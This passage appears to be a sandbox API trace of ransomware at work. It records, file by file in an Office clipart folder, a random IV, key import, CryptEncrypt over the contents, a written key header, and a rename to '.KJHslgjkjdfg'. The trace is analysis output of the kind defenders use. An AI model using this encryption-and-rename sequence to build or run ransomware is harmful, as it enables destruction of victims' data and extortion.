lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x571c, lpOverlapped=0x0) returned 1 [0193.544] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5720, dwBufLen=0x5720 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5720) returned 1 [0193.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.544] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5720, lpOverlapped=0x0) returned 1 [0193.544] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.544] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x57f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.545] SetEndOfFile (hFile=0x130) returned 1 [0193.547] GetProcessHeap () returned 0x990000 [0193.547] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.547] GetProcessHeap () returned 0x990000 [0193.547] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.kjhslgjkjdfg")) returned 1 [0193.549] CloseHandle (hObject=0x130) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0193.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.551] GetProcessHeap () returned 0x990000 [0193.551] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.551] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.551] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.553] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.553] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.553] GetProcessHeap () returned 0x990000 [0193.553] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.553] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.553] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.553] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.554] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.554] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.554] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.554] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.554] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.554] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.554] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x614c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x614c, lpOverlapped=0x0) returned 1 [0193.555] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6150, dwBufLen=0x6150 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6150) returned 1 [0193.556] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.556] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6150, lpOverlapped=0x0) returned 1 [0193.556] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.556] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.556] SetEndOfFile (hFile=0x130) returned 1 [0193.559] GetProcessHeap () returned 0x990000 [0193.559] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.559] GetProcessHeap () returned 0x990000 [0193.559] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.559] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.kjhslgjkjdfg")) returned 1 [0193.560] CloseHandle (hObject=0x130) returned 1 [0193.560] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0193.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.561] GetProcessHeap () returned 0x990000 [0193.561] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.561] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.561] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.564] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.564] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.564] GetProcessHeap () returned 0x990000 [0193.564] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.564] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.564] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.564] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.564] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.564] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.564] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.565] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.565] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.565] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.565] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.565] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3ee4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3ee4, lpOverlapped=0x0) returned 1 [0193.566] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3ef0) returned 1 [0193.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.566] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3ef0, lpOverlapped=0x0) returned 1 [0193.566] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.566] SetEndOfFile (hFile=0x130) returned 1 [0193.569] GetProcessHeap () returned 0x990000 [0193.569] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.569] GetProcessHeap () returned 0x990000 [0193.569] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.kjhslgjkjdfg")) returned 1 [0193.571] CloseHandle (hObject=0x130) returned 1 [0193.571] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0193.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.572] GetProcessHeap () returned 0x990000 [0193.572] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.572] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.572] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.572] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.574] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.574] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.574] GetProcessHeap () returned 0x990000 [0193.574] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.575] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.575] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.575] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.575] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.575] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.575] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.575] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.575] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.575] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.575] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x11b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x11b8, lpOverlapped=0x0) returned 1 [0193.576] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x11c0) returned 1 [0193.576] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.576] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x11c0, lpOverlapped=0x0) returned 1 [0193.577] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.577] SetEndOfFile (hFile=0x130) returned 1 [0193.580] GetProcessHeap () returned 0x990000 [0193.580] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.580] GetProcessHeap () returned 0x990000 [0193.580] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf.kjhslgjkjdfg")) returned 1 [0193.582] CloseHandle (hObject=0x130) returned 1 [0193.582] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x26f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107192.WMF", cAlternateFileName="")) returned 1 [0193.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.583] GetProcessHeap () returned 0x990000 [0193.583] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.583] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.583] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.583] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.583] GetProcessHeap () returned 0x990000 [0193.583] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.583] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.583] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.583] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.585] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.585] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.586] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.586] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.586] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.586] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.586] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.586] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x26f0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x26f0, lpOverlapped=0x0) returned 1 [0193.587] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x26f0, dwBufLen=0x26f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x26f0) returned 1 [0193.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.587] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x26f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x26f0, lpOverlapped=0x0) returned 1 [0193.587] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x27c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.588] SetEndOfFile (hFile=0x130) returned 1 [0193.589] GetProcessHeap () returned 0x990000 [0193.589] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.589] GetProcessHeap () returned 0x990000 [0193.589] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107192.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107192.wmf.kjhslgjkjdfg")) returned 1 [0193.590] CloseHandle (hObject=0x130) returned 1 [0193.590] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: 